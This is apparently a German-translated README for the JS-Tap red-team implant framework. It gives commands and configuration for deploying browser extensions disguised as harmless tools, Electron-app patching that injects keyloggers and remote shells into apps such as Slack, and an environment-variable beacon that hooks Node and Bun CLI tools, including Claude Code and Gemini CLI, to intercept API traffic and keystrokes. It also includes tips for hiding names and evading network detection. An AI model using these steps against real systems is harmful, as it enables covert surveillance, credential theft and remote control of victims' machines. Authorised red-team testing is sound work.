Der Server generiert bei jedem Start automatisch ein zufälliges Admin-Passwort und gibt es auf der Konsole aus. Die Zugangsdaten werden auch in `adminCreds.txt` im Projektstammverzeichnis gespeichert. Während der Entwicklung/Testphase ist es sicher, `jsTap.db` zwischen den Durchläufen zu löschen – es wird beim Start automatisch neu generiert.

### Erstellung (Einheitlicher Build)

Das einheitliche Build-Skript im Projektstammverzeichnis übernimmt alles: Erstellen von Erweiterungen für Chrome und Firefox, Packen für die Bereitstellung, optionales Cross-Compilieren der Sidecar-Binärdatei und Produzieren von eigenständigen Bereitstellungspaketen, die Sie auf Zielmaschinen kopieren können.

#### Voraussetzungen
- **Node.js** (für WXT-Erweiterungs-Builds und .crx-Packen)
- **Go** (1.21+) — wird nur benötigt, wenn Sidecar aktiviert ist
- **Python 3**

#### Schnellstart

1. Konfigurieren Sie `bex-beacon/config.json` (siehe [Konfiguration](#bex-beacon-configuration-configjson) unten).
2. Installieren Sie Node-Abhängigkeiten (nur beim ersten Mal):```bash
cd bex-beacon && npm install && cd ..

Dies erstellt Chrome MV3- und Firefox MV2-Erweiterungen, verpackt sie als `.crx`/`.xpi`, cross-kompiliert Sidecar-Binärprogramme (falls aktiviert) und generiert Bereitstellungsbündel. Das Build-Script erhöht automatisch die Patch-Versionsnummer der Erweiterung bei jedem Build (z. B. `2.1.5` → `2.1.6`) in `bex-beacon/config.json`, um sicherzustellen, dass Browser-Zwangsinstallationsmechanismen (Chrome/Edge-Unternehmensrichtlinie) aktualisierte Builds übernehmen.

#### Build-Flags

| Flag | Effekt |
|---|---|
| `--ext-only` | Nur Erweiterungen erstellen, Sidecar überspringen |
| `--sidecar-only` | Nur Sidecar erstellen, Erweiterungen überspringen |
| `--legacy` | Auch Legacy-Erweiterungen erstellen (aus `src-chrome-extension/` und `src-firefox-extension/`) |

#### Build-Ausgabe```
build/
  chrome-mv3/              # Unpacked Chrome extension (for development)
  firefox-mv2/             # Unpacked Firefox extension (for development)
  extension.crx            # Packed Chrome extension (if key.pem configured)
  extension.xpi            # Packed Firefox extension
  sidecar/                 # Sidecar binaries + manifests (when enabled)
  deploy/                  # Self-contained deploy bundles
    chrome-linux.tar.gz
    chrome-mac.tar.gz
    chrome-windows.zip
    chromium-linux.tar.gz
    chromium-mac.tar.gz
    firefox-linux.tar.gz
    firefox-mac.tar.gz
    firefox-windows.zip

Fügen Sie die Base64-Ausgabe zu `extension_ids.chrome_key` hinzu und setzen Sie `extension_ids.chrome_key_pem` auf `key.pem` in `bex-beacon/config.json`. Das Build-Skript berechnet und überprüft automatisch die 32-stellige Chrome-Erweiterungs-ID.

Firefox-Erweiterungs-IDs werden direkt über `extension_ids.firefox_extension_id` gesetzt (z. B. `bex-beacon@jstap`).

### Bereitstellen auf Zielsystemen

Jedes Bereitstellungspaket ist ein **eigenständiges Archiv** — eine Datei, die auf das Zielsystem kopiert wird.

**Arbeitsablauf:**
1. Kopieren Sie das entsprechende Archiv auf das Ziel (z. B. `chrome-linux.tar.gz`)
2. Entpacken Sie es
3. Führen Sie das Installationsskript aus```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh

# Windows
# Extract chrome-windows.zip, then run:
install.bat

**Was die Deinstallationsskripte entfernen:**

| Komponente | Was entfernt wird |
|---|---|
| **Chrome/Chromium-Erweiterung** (Linux) | Unternehmensrichtlinien-JSON + CRX + Update-Manifest aus Systemverzeichnissen (erfordert `sudo`) |
| **Chrome/Chromium-Erweiterung** (macOS) | Externes Erweiterungs-JSON + CRX aus Systemverzeichnissen (erfordert `sudo`) |
| **Chrome-Erweiterung** (Windows) | Registrierungseintrag + Erweiterungsdateien aus `%LOCALAPPDATA%\JSTap` |
| **Firefox-Erweiterung** | `.xpi` aus dem `extensions/`-Verzeichnis des Firefox-Profils |
| **Sidecar** (falls vorhanden) | Binärdatei aus `~/.local/bin/`, nativer Messaging-Manifest-JSON und Registrierungseinträge (Windows) |

Nach der Deinstallation starten Sie den Browser neu, damit die Änderungen wirksam werden.

#### Entwicklung

Für Entwicklung und Tests können Sie die Bereitstellungs-Bundles überspringen und Erweiterungen direkt laden:
- **Chrome:** `chrome://extensions` -> Entwicklermodus aktivieren -> Entpackte Erweiterung laden -> `build/chrome-mv3/` auswählen
- **Firefox:** `about:debugging` -> Dieser Firefox -> Temporäres Add-on laden -> eine beliebige Datei in `build/firefox-mv2/` auswählen

### Sidecar (Native Messaging Host)

Der Sidecar ist **optional**. Es ist eine Go-Binärdatei, die über die native Messaging-API des Browsers mit dem BEX Beacon kommuniziert und OS-Zugriff bietet (Dateibrowsing, Dateilesen, Befehlsausführung).

#### Aktivieren und Erstellen

1. Setzen Sie `sidecar.enabled: true` in `bex-beacon/config.json`
2. Konfigurieren Sie Erweiterungs-IDs in `extension_ids` (siehe [Statische Erweiterungs-IDs](#static-extension-ids) oben)
3. Führen Sie den einheitlichen Build aus:

python3 buildAll.py
```
Das Build-Skript synchronisiert automatisch die Erweiterungs-IDs aus der zentralen Konfiguration in `sidecar/config.json`, kompiliert Sidecar-Binaries für alle Plattformen und fügt die richtige Binärdatei in jedes Bereitstellungspaket ein.

#### Eigenständiger Sidecar-Build

Wenn Sie nur den Sidecar neu erstellen müssen, ohne die Erweiterungen neu zu erstellen:```bash
python3 buildAll.py --sidecar-only
```
Oder baue es direkt (es wird auf das Lesen von `../bex-beacon/config.json` zurückfallen, falls keine lokale Konfiguration existiert):```bash
cd sidecar
python3 buildSidecar.py
```
#### Sidecar Deinstallation

Verwenden Sie für Testiterationen während der Entwicklung das sidecar-spezifische Deinstallationsskript, um die Binärdatei und alle Manifeste für native Nachrichtenübermittlung zu entfernen:```bash
./sidecar/uninstall.sh
```
Dies entfernt die Binärdatei aus `~/.local/bin/` und die Manifest-JSON aus allen Chrome/Firefox-Manifest-Verzeichnissen (Linux und macOS).

Für bereitgestellte Systeme verwenden Sie stattdessen das `uninstall.sh` oder `uninstall.bat` des Bundles – es entfernt sowohl die Erweiterung als auch den Sidecar in einem Schritt. Siehe [Deinstallation](#uninstalling) oben.

#### Wie Sidecar funktioniert```
JS-Tap Portal UI
    │ POST /api/sidecar/command
    ▼
JS-Tap Server (queues SIDECAR_COMMAND task)
    │ Beacon polls on heartbeat
    ▼
BEX Beacon (background service worker)
    │ browser.runtime.connectNative()
    ▼
Sidecar Go Binary (native messaging, stdio)
    │ Executes command, returns result
    ▼
BEX Beacon (encrypts result, sends to server)
    │ POST /client/metrics/<uuid>
    ▼
JS-Tap Server (stores SidecarResult)
    │ UI polls GET /api/sidecar/result/<requestId>
    ▼
JS-Tap Portal UI (displays result)
```
Die Kommunikation zwischen dem Beacon und der Sidecar-Binärdatei verwendet das [Native Messaging Protocol](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) — jede Nachricht wird mit einem 4-Byte-Little-Endian-Längenpräfix versehen, gefolgt von einem JSON-Payload.

**Sidecar-Befehle:**

| Befehl | Argumente | Beschreibung |
|---|---|---|
| `list_dir` | `{ path: "/some/path" }` | Verzeichnisinhalt auflisten. Standardmäßig das Home-Verzeichnis des Benutzers, wenn der Pfad leer ist. Gibt Dateinamen, Größen, Typen und Änderungszeiten zurück. |
| `read_file` | `{ path: "/some/file", offset: 0, limit: 1048576 }` | Dateiinhalt lesen (base64-kodiert). Max. 1 MB pro Lesevorgang. Unterstützt Offset/Limit für große Dateien. |
| `exec_cmd` | `{ command: "whoami", timeout: 30 }` | Einen Shell-Befehl ausführen. Verwendet `/bin/sh -c` unter Linux/macOS, `cmd.exe /C` unter Windows. Max. Timeout beträgt 120 Sekunden. Gibt stdout, stderr und Exit-Code zurück. |

### Atom Beacon (Patchen von Electron-Apps)

Das Atom Beacon-Implantat wird mit dem `atomize.py`-Patcher in Electron-Desktopanwendungen injiziert. Es ändert das ASAR-Archiv der App (oder das entpackte App-Verzeichnis), um den Agent-Code vor den Einstiegspunkt des Hauptprozesses zu stellen.

#### Voraussetzungen

- **Python 3** ohne zusätzliche pip-Abhängigkeiten (verwendet eine gebündelte reine Python-ASAR-Bibliothek)
- **Ziel-Electron-App** — das `resources/app.asar`- oder `resources/app/`-Verzeichnis der App

#### Erstellen einer Windows-Ausführbaren Datei

Unter Linux und macOS kann `atomize.py` direkt mit Python 3 ausgeführt werden. Unter Windows ist Python möglicherweise nicht installiert. Sie können eine eigenständige `atomize.exe` mit [PyInstaller](https://pyinstaller.org/) erstellen.```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
```
Dies erzeugt `dist/atomize.exe` — eine ausführbare Einzeldatei, die Python, die ASAR-Bibliothek und die Payload-Dateien bündelt. Auf dem Ziel-Windows-Rechner ist keine Python-Installation erforderlich. Die Verwendung ist identisch mit der Python-Version:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
```
> **Hinweis:** PyInstaller kann nur für das Betriebssystem erstellen, auf dem es ausgeführt wird. Um eine Windows `.exe` zu erstellen, führen Sie PyInstaller auf einem Windows-Rechner (oder einer Windows-VM/CI-Runner) aus.

**Windows-pip-Fehlerbehebung:**

Wenn `pip` unter Windows nicht erkannt wird, aber `python` funktioniert, verwenden Sie stattdessen `python -m pip`:```
python -m pip install pyinstaller
```
Wenn `pyinstaller` nach der Installation nicht gefunden wird, verwenden Sie `python -m PyInstaller` (Groß-/Kleinschreibung beachten):```
python -m PyInstaller atomize.spec
```
Falls pip selbst nicht verfügbar ist, stellen Sie sicher, dass Python mit aktiviertem Kontrollkästchen **"Python zu PATH hinzufügen"** installiert wurde. Sie können pip auch manuell bootstrappen:```
python -m ensurepip --upgrade
```
#### Analysieren eines Ziels

Vor dem Patchen verwenden Sie `--detect-only`, um die Struktur, Sicherheitseinstellungen und den Code-Signing-Status der Ziel-App zu analysieren:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
```
Dies berichtet:
- Einstiegspunkt-Datei (aus `package.json`)
- Ob der Quellcode minimiert oder lesbar ist
- Electron-Sicherheitseinstellungen (nodeIntegration, contextIsolation, sandbox, usw.)
- Code-Signing-Status (macOS)
- ASAR-Integritätsvalidierung (macOS)
- Ob die App bereits gepatcht wurde

#### Patchen```bash
cd atom-beacon
python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
```
Optionen:

| Flag | Beschreibung |
|---|---|
| `--server URL` | JS-Tap-Server-URL (erforderlich zum Patchen) |
| `--tag TAG` | Client-Tag, im Portal angezeigt (Standard: `atom`) |
| `--detect-only` | Analysieren ohne Patchen |
| `--no-backup` | Erstellen einer `.bak`-Sicherung der Original-ASAR überspringen |
| `--output PATH` | Gepatchte ASAR in einen anderen Pfad schreiben anstatt direkt zu ersetzen |

Der Patcher führt automatisch folgende Schritte aus:
- Findet `app.asar` oder `app/` in `.app`-Bundles (macOS), `resources/`-Verzeichnissen (Linux/Windows) oder akzeptiert direkte Pfade
- Erstellt eine `.bak`-Sicherung vor dem Ändern (außer bei `--no-backup`)
- Erkennt und entfernt vorhandene Patches vor dem erneuten Patchen
- Generiert ein eindeutiges IPC-Präfix pro Patch, um Kollisionen zu vermeiden
- Bettet die Renderer-Nutzlast als Zeichenfolgenkonstante im Agenten ein (Einzeldatei-Injektion)

#### Hinweise nach dem Patchen

| Plattform | Hinweise |
|---|---|
| **macOS** | Die Codesignatur wird ungültig. Wenn die App eine "beschädigt"-Warnung anzeigt, führen Sie `xattr -cr /pfad/zu/App.app` aus oder signieren Sie neu mit `codesign --force --deep --sign - /pfad/zu/App.app`. |
| **Windows** | SmartScreen warnt möglicherweise beim ersten Download, aber bereits installierte Apps werden nicht erneut überprüft. Direktes Patchen funktioniert problemlos. |
| **Linux** | Keine Codesignatur-Erzwingung. Die gepatchte App läuft normal. |

#### Entpacken (Rückgängigmachen)

Um eine gepatchte App rückgängig zu machen, stellen Sie die `.bak`-Datei wieder her:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
```
#### Wie der Atom Beacon funktioniert```
Target Electron App (patched)
    │ app.asar main entry point
    ▼
Atom Beacon Agent (main process, Node.js)
    │ Registers with JS-Tap server
    │ RSA-OAEP key exchange → AES-GCM encrypted channel
    ▼
Heartbeat Loop (jittered interval)
    ├── Poll for tasks (screenshot commands, shell commands, etc.)
    ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls)
    ├── Exfiltrate queued data (encrypted, single endpoint)
    └── Report status (tracked windows, host info)

Renderer Injection (automatic)
    │ webContents.executeJavaScript() on every BrowserWindow
    ▼
Renderer Payload (per-window)
    ├── Keylogger (keydown capture, debounced flush)
    ├── Input/Form capture
    ├── Cookie/localStorage/sessionStorage monitoring
    ├── URL tracking (including SPA navigation)
    ├── XHR/Fetch monkey-patching
    └── HTML source capture
```
Der Agent kommuniziert mit dem Server über denselben verschlüsselten Endpunkt, der von BEX-Beacons verwendet wird (`POST /client/metrics/<uuid>`). Alle Daten werden mit AES-GCM verschlüsselt, wobei die Schlüssel während der Registrierung festgelegt werden.

#### Verwendung des Tools-Panels (Atom Beacon)

Wenn ein Atom Beacon-Client im Portal ausgewählt ist, bietet das **Tools**-Panel Folgendes:

**Browser-Proxy-Panel** — Proxy starten/stoppen, CA-Zertifikat herunterladen und Proxy-Tickets generieren. Anfragen werden über den Netzwerkkontext der Electron-App weitergeleitet.

**Dateibrowser-Tab** — Dateisystem des Ziels durchsuchen und Dateien lesen, identisch mit dem BEX Sidecar-Dateibrowser, jedoch nativ im Electron-Prozess ausgeführt.

**Shell-Tab** — Befehle auf dem Ziel ausführen, identisch mit der BEX Sidecar-Shell, jedoch nativ über Node.js `child_process` ausgeführt.

**Screenshots-Tab** — Nur Atom Beacon. Bietet:

- **Jetzt erfassen**-Schaltfläche für manuelle Screenshots bei Bedarf
- **Auto-Erfassungsheuristiken** — konfigurierbare Umschalter für automatische Screenshot-Auslöser:
  - *Erfassung bei Fensterfokus* — Screenshots, wenn der Benutzer zwischen App-Fenstern wechselt
  - *Erfassung bei Navigation* — Screenshots bei Seitennavigation (einschließlich SPA-Navigation wie Kanalwechsel in Slack)
  - *Erfassung bei neuem Fenster* — Screenshots, wenn die App ein neues Fenster öffnet
- **Cooldown** — minimale Sekunden zwischen automatischen Erfassungen pro Fenster (verhindert Überflutung)

Die Auto-Erfassung verwendet entprellte Auslöser — bei SPA-Navigation wird der Screenshot 3 Sekunden nach dem letzten Navigations-/Titeländerungsereignis aufgenommen, um sicherzustellen, dass der angekommene Inhalt und nicht die verlassende Seite erfasst wird.

Das Abzeichen des Tools-Panels zeigt **Integriert** für Atom Beacon-Clients an (da der Betriebssystemzugriff nativ für den Agenten ist und nicht von einer externen Sidecar-Binärdatei abhängt).

### V8 Beacon (Node.js / Bun CLI-Apps)

Das V8 Beacon-Implantat wird über Umgebungsvariablen in Node.js- und Bun-CLI-Anwendungen injiziert. Es ist kein Patchen oder Modifizieren der Zielanwendung erforderlich.

#### Erstellen des Beacon```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
```
Options:

| Flag | Beschreibung |
|---|---|
| `--server URL` | URL des JS-Tap-Servers (erforderlich) |
| `--tag TAG` | Client-Tag, im Portal angezeigt (Standard: `v8`) |
| `--output PATH` | Pfad zur Ausgabedatei (Standard: `./v8-beacon.js`) |

Dadurch wird eine eigenständige `v8-beacon.js`-Datei mit der Server-URL und dem eingebetteten Tag erstellt.

#### Injizieren des Beacons

**Für Node.js-Anwendungen** (Gemini CLI, OpenCode, benutzerdefinierte Node.js-Tools, usw.):```bash
export NODE_OPTIONS="--require /path/to/v8-beacon.js"
gemini          # or any Node.js CLI tool
```
**Für Bun-Anwendungen** (Claude Code, usw.):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude          # or any Bun-based CLI tool
```
Sie können beide Umgebungsvariablen gleichzeitig setzen, um beide Laufzeitumgebungen abzudecken:```bash
export NODE_OPTIONS="--require /path/to/v8-beacon.js"
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
```
Das Beacon lädt vor dem eigenen Code der Anwendung und beginnt, die Laufzeitumgebung zu instrumentieren. Die Zielanwendung läuft normal weiter — das Beacon ist für den Benutzer unsichtbar.

#### Wie es funktioniert```
Target CLI Application (e.g. claude, gemini)
    │ --require / --preload loads v8-beacon.js
    ▼
V8 Beacon Agent (same process)
    │ Registers with JS-Tap server
    │ RSA-OAEP key exchange → AES-GCM encrypted channel
    ▼
Heartbeat Loop (jittered interval)
    ├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
    ├── Flush captured data (network calls, keystrokes)
    ├── Exfiltrate queued data (encrypted, single endpoint)
    └── Report status (host info, capabilities, proxy state)

Network Hooks (automatic)
    ├── http.request / https.request (monkey-patched)
    ├── globalThis.fetch (monkey-patched)
    ├── http2.connect (monkey-patched)
    └── Module._load intercept for node-fetch

Stdin Hooks (automatic)
    ├── process.stdin.push / emit
    ├── tty.ReadStream.prototype.push
    └── readline.createInterface
```
#### Subprozess-Handling

Einige CLI-Tools erzeugen sich selbst als Kindprozesse. Beispielsweise führt Gemini CLI die Authentifizierung im übergeordneten Prozess durch und startet dann einen Kindprozess `node gemini` für die interaktive Sitzung (in der die eigentlichen API-Aufrufe stattfinden).

Der V8 Beacon handhabt dies automatisch:
- Der Elternprozess setzt die Umgebungsvariablen `__V8_BEACON_ACTIVE` und `__V8_BEACON_RUNTIME`
- Kindprozesse in der **gleichen Laufzeitumgebung** erben die Sitzung des Elternprozesses (UUID und Verschlüsselungsschlüssel über `__V8_BEACON_UUID`, `__V8_BEACON_SENDKEY`, `__V8_BEACON_RECVKEY`)
- Kindprozesse in einer **anderen Laufzeitumgebung** (z. B. eine Bun-App, die ein Node.js-Dienstprogramm startet) werden übersprungen
- Build-Tools und Paketmanager (`npm`, `npx`, `yarn`, `tsc`, `eslint`, usw.) werden immer übersprungen

Das bedeutet, dass eine Gemini-CLI-Sitzung mit Eltern- und Kindprozessen im Portal als ein einzelner Client mit allen vereinheitlichten Ereignissen erscheint.

#### Verwenden des Tools-Bereichs (V8 Beacon)

Wenn ein V8-Beacon-Client im Portal (unter dem Reiter **Knoten**) ausgewählt ist, bietet der Bereich **Tools** Folgendes:

**Browser-Proxy-Panel** — Proxy starten/stoppen, CA-Zertifikat herunterladen und Proxy-Tickets generieren. Anfragen werden durch den Netzwerkkontext des Node.js-/Bun-Prozesses geleitet.

**Dateibrowser-Tab** — Das Dateisystem des Ziels durchsuchen und Dateien lesen, identisch mit den Dateibrowsern des BEX Sidecar und des Atom Beacon.

**Shell-Tab** — Befehle auf dem Ziel über Node.js `child_process` ausführen.

Das Abzeichen des Tools-Bereichs zeigt **Integriert** (Betriebssystemzugriff ist nativ für den Agenten).

#### Getestete Anwendungen

| Anwendung | Laufzeit | Status |
|---|---|---|
| Gemini CLI | Node.js | Vollständiger Netzwerkabfang (einschließlich `streamGenerateContent` SSE), Keylogging, Datei-/Shell-Zugriff |
| Claude Code | Bun 1.3.10 | Vollständiger Netzwerkabfang (einschließlich `/v1/messages` SSE-Streaming), Keylogging, Datei-/Shell-Zugriff |

## Konfiguration

### JS-Tap-Server-Konfiguration
#### Debug-/Single-Thread-Konfiguration
Wenn Sie JS-Tap mit dem Skript `jsTapServer.py` im Single-Thread-Modus ausführen (ideal zum Testen/Demos), gibt es Konfigurationsoptionen direkt im Skript `jsTapServer.py`.

##### Proxy-Modus
Für den Produktionseinsatz sollte JS-Tap auf einem öffentlich erreichbaren Server mit einem gültigen SSL-Zertifikat von jemandem wie Let's Encrypt gehostet werden. Der einfachste Weg, dies bereitzustellen, besteht darin, NGINX als Frontend für JS-Tap zu verwenden und das Let's-Encrypt-Zertifikat zu verwalten, sodann den entschlüsselten Traffic als HTTP-Verkehr lokal an JS-Tap weiterzuleiten (d. h. NGINX und JS-Tap laufen auf demselben VPS).

Wenn Sie **proxyMode** auf `true` setzen, läuft der JS-Tap-Server im HTTP-Modus und übernimmt die Client-IP-Adresse aus dem **X-Forwarded-For**-Header, den NGINX entsprechend setzen muss.

Wenn **proxyMode** auf `false` gesetzt ist, läuft JS-Tap mit einem selbstsignierten Zertifikat, was zum Testen nützlich ist. Die Client-IP wird von der Quell-IP des verbindenden Clients übernommen.

##### Datenverzeichnis
Der Parameter **dataDirectory** gibt JS-Tap an, welches Verzeichnis für die SQLite-Datenbank und das Beuteverzeichnis zu verwenden ist. Nicht alle „Beute“ wird in der Datenbank gespeichert, insbesondere Screenshots und ausgelesene HTML-Dateien werden nicht gespeichert.

##### Server-Port
Um die Server-Port-Konfiguration zu ändern, siehe die letzte Zeile von **jsTapServer.py**```
app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
```
### BEX Beacon Konfiguration (config.json)
Befindet sich in `bex-beacon/config.json`. Dies ist die **einzige Quelle der Wahrheit** für alle Build-Konfigurationen — Erweiterungen, Erweiterungs-IDs und Sidecar-Einstellungen.```json
{
  "extension": {
    "name": "Resource Optimizer",
    "short_name": "ResOpt",
    "version": "2.1.4",
    "description": "Optimizes page resource loading for improved performance.",
    "author": "WebPerf Tools",
    "homepage_url": "https://www.example.com",
    "install_dirname": "webperf-tools"
  },
  "extension_ids": {
    "chrome_key": "",
    "chrome_key_pem": "",
    "chrome_extension_id": "",
    "firefox_extension_id": "bex-beacon@jstap"
  },
  "js_tap_server": {
    "domain": "127.0.0.1",
    "port": 8444
  },
  "heartbeat": {
    "base_interval": 5,
    "jitter_percent": 30
  },
  "domain_scoping": {
    "whitelist_enabled": false,
    "whitelist": [
      "https://*.example.com/*",
      "http://localhost:8000/*"
    ]
  },
  "sidecar": {
    "enabled": false,
    "host_name": "com.jstap.sidecar",
    "binary_name": "sidecar"
  }
}
```
#### extension
Steuert die Manifest-Metadaten und die Benennung der Bereitstellung der Erweiterung. Ändern Sie diese Felder, um das Erscheinungsbild der Erweiterung in `chrome://extensions` oder `about:addons` zu tarnen.

| Feld | Beschreibung |
|---|---|
| `name` | Anzeigename der Erweiterung |
| `version` | Versionsnummer der Erweiterung (wird auch im .crx-externen Erweiterungs-JSON verwendet). Wird von `buildAll.py` bei jedem Build automatisch erhöht. |
| `description` | Erweiterungsbeschreibung, die im Browser angezeigt wird |
| `install_dirname` | Verzeichnisname, der von Installationsskripten zum Speichern von Dateien im Zielsystem verwendet wird (z. B. `/opt/<dirname>/` unter Linux, `%LOCALAPPDATA%\<dirname>` unter Windows). Wird auch für den Namen der Unternehmensrichtliniendatei verwendet. Wählen Sie etwas Unverfängliches. Standard: `jstap` |

#### extension_ids
Steuert statische Erweiterungs-IDs für deterministische Builds. Siehe [Statische Erweiterungs-IDs](#static-extension-ids) für Einrichtungsanweisungen.

| Feld | Beschreibung |
|---|---|
| `chrome_key` | Base64-kodierter öffentlicher DER-Schlüssel. Wird als `key` im Chrome-Manifest für eine deterministische Erweiterungs-ID eingefügt. |
| `chrome_key_pem` | Pfad zur privaten Schlüsseldatei .pem (relativ zum Projektstammverzeichnis). Wird vom Build-Skript zum Packen von `.crx`-Dateien verwendet. |
| `chrome_extension_id` | Die 32-stellige Chrome-Erweiterungs-ID. Wird automatisch aus `chrome_key` berechnet, wenn leer gelassen. Wird in Sidecar-Native-Messaging-Manifesten verwendet. |
| `firefox_extension_id` | Firefox-Erweiterungs-ID (z. B. `bex-beacon@jstap`). Wird in das Firefox-Manifest als `browser_specific_settings.gecko.id` eingefügt. |

#### js_tap_server
| Feld | Beschreibung |
|---|---|
| `domain` | Hostname oder IP Ihres JS-Tap-Servers. |
| `port` | Port, auf dem der JS-Tap-Server lauscht. |

#### heartbeat
Steuert, wie oft der Beacon mit dem Server kommuniziert, um Telemetriedaten zu melden und neue Aufgaben abzurufen (wie Injektionsbefehle oder Sidecar-Befehle).

| Feld | Beschreibung |
|---|---|
| `base_interval` | Basisintervall in **Sekunden** zwischen den Heartbeats. Standard: `60` für die Produktion, `5` für Entwicklung/Tests. |
| `jitter_percent` | Prozentsatz des Jitters, der auf das Basisintervall angewendet wird. Ein Wert von `30` bedeutet, dass jeder Heartbeat zu einem zufälligen Zeitpunkt zwischen 70 % und 130 % des Basisintervalls ausgelöst wird. Setzen Sie `0` für keinen Jitter (nützlich zum Debuggen). |

Jitter ist wichtig für OPSEC – er verhindert, dass der Beacon ein perfekt regelmäßiges Netzwerkmuster erzeugt, das von Netzwerküberwachungstools erkannt werden könnte. Jeder Heartbeat plant den nächsten mit frischer Zufälligkeit.

#### domain_scoping
Steuert, welche Domänen der Beacon überwacht und mit denen er interagiert.

| Feld | Beschreibung |
|---|---|
| `whitelist_enabled` | `false` = alle Domänen überwachen (All-Domains-Modus). `true` = nur Domänen überwachen, die den Whitelist-Mustern entsprechen. |
| `whitelist` | Array von URL-Match-Mustern. Standard-Browser-Erweiterungs-Match-Muster mit `*`-Platzhaltern. Wird nur verwendet, wenn `whitelist_enabled` `true` ist. |

Wenn die Whitelist aktiviert ist, erzwingt der Beacon sie auf mehreren Ebenen:
- **Content-Script-Injektion** – wird nur auf Seiten injiziert, die Whitelist-Mustern entsprechen
- **Telemetrie-Meldung** – Domänen, die nicht auf der Whitelist stehen, werden nicht an den Server gemeldet
- **JS-Tap-Injektionsaufgaben** – Injektion wird für Domänen blockiert, die nicht auf der Whitelist stehen
- **Header-Erfassung** – Anforderungsheader werden nur für Whitelist-Domänen erfasst

Dies ist entscheidend für Red-Team-Engagements mit strengen Scoping-Anforderungen. Wenn `whitelist_enabled: true` gesetzt ist, wird sichergestellt, dass der Beacon nicht mit außerhalb des Scopes liegenden Domänen interagiert.

**Beispiel-Whitelist-Muster:**```json
"whitelist": [
  "https://*.targetcorp.com/*",
  "https://app.targetcorp.com/*",
  "http://internal.targetcorp.local:8080/*"
]
```
#### sidecar
Steuert die optionale Native-Messaging-Funktion im BEX Beacon. Siehe den Abschnitt [Sidecar](#sidecar-native-messaging) oben für vollständige Details.

| Feld | Beschreibung |
|---|---|
| `enabled` | `false` = kein Native Messaging (Standard). `true` = Sidecar-Unterstützung aktivieren. Fügt die Berechtigung `nativeMessaging` zum Erweiterungsmanifest hinzu. |
| `host_name` | Der Hostname für Native Messaging. Standard: `com.jstap.sidecar` |
| `binary_name` | Name für die kompilierte Sidecar-Binärdatei. Standard: `sidecar`. Ändern Sie diesen, um die Binärdatei auf Zielsystemen zu tarnen (z.B. `chrome-helper`). |

Das einheitliche Build-Skript synchronisiert automatisch Erweiterungs-IDs von `extension_ids` in die Sidecar-Konfiguration, sodass Sie die IDs nur an einer Stelle konfigurieren müssen.

### JS-Tap Payload (telemlib.js) Konfiguration
Diese Konfigurationsvariablen befinden sich in der Funktion **initGlobals()**.

#### JS-Tap Server-Standort
Sie müssen das Payload mit der URL des JS-Tap-Servers konfigurieren, zu dem es eine Verbindung herstellt.```
window.taperexfilServer = "https://127.0.0.1:8444";
```
#### Modus
Auf **trap** oder **implant** setzen
Dies wird mit der Variablen gesetzt:```
window.taperMode = "trap";
or
window.taperMode = "implant";
```
#### Trap Mode Starting Page
Nur für den Trap-Modus erforderlich. Siehe Erklärung im Abschnitt **Betriebsmodi** oben.<br>
Legt die Seite fest, auf der der Benutzer startet, wenn der iFrame-Trap gesetzt ist.```
window.taperstartingPage = "http://targetapp.com/somestartpage";
```
Wenn Sie möchten, dass die Falle auf der aktuellen Seite startet, anstatt den Benutzer auf eine andere Seite in der iframe-Falle umzuleiten, können Sie Folgendes verwenden:```
window.taperstartingPage = window.location.href;
```
#### Client-Tag
Nützlich, wenn Sie JS-Tap gegen mehrere Anwendungen oder Bereitstellungen gleichzeitig verwenden und eine visuelle Kennzeichnung wünschen, welches Payload geladen wurde. Denken Sie daran, dass das gesamte Verzeichnis /payloads bereitgestellt wird; Sie können mehrere JS-Tap-Payloads mit unterschiedlichen Modi, Startseiten und Client-Tags konfigurieren.

Diese Tag-Zeichenfolge (kurz halten!) wird dem Client-Nicknamen im JS-Tap-Portal vorangestellt. Richten Sie mehrere Payloads ein, jeweils mit der passenden Konfiguration für die Anwendung, gegen die es eingesetzt wird, und fügen Sie einen Tag hinzu, der angibt, auf welcher App der Client läuft.```
window.taperTag = 'whatever';
```
#### Benutzerdefinierte Payload-Aufgaben
Wird verwendet, um zu konfigurieren, ob Clients nach **Custom Payload**-Aufgaben suchen und wie oft sie suchen. Die Jitter-Einstellungen
ermöglichen es Ihnen, optional einen Unter- und Obergrenzen-Modifikator festzulegen. Ein zufälliger Wert zwischen diesen beiden Zahlen wird ausgewählt
und zur Prüfverzögerung hinzugefügt. Setzen Sie diese auf 0 und 0 für keinen Jitter.```
window.taperTaskCheck        = true;
window.taperTaskCheckDelay   = 5000;
window.taperTaskJitterBottom = -2000;
window.taperTaskJitterTop    = 2000;
```
#### Client-Fingerprinting
Dies kann aktiviert werden, um einen Fingerabdruck des Clients basierend auf zahlreichen Attributen zu berechnen. Aus diesem Fingerprinting wird ein sehr kurzer Hash erstellt. Dieser kurze Hash kann optional auf der Client-Karte angezeigt werden, indem er in den **App SettingS** aktiviert wird. Die Client-Liste kann nach diesem Fingerabdruck gefiltert werden, um mehrere JS-Tap-Clients zu identifizieren, die wahrscheinlich auf demselben Computer laufen. Beachten Sie, dass wenn ein Unternehmen identische Systeme an Benutzer ausgibt, diese leicht denselben Fingerabdruckwert erhalten können.

Um Fingerabdruckberechnungen im JS-Tap-Payload zu aktivieren:```
window.taperFingerprint = true;
```
Auch wenn der Fingerabdruck berechnet wird, wird er in den Client-Karten nicht angezeigt, es sei denn, die Funktion ist auch in den **App-Einstellungen** aktiviert.

Hinweis: Sie können die Client-Liste nach Fingerabdruck-Hashes filtern, um Clients anzuzeigen, die höchstwahrscheinlich derselbe Computer sind.

#### HTML exfiltrieren
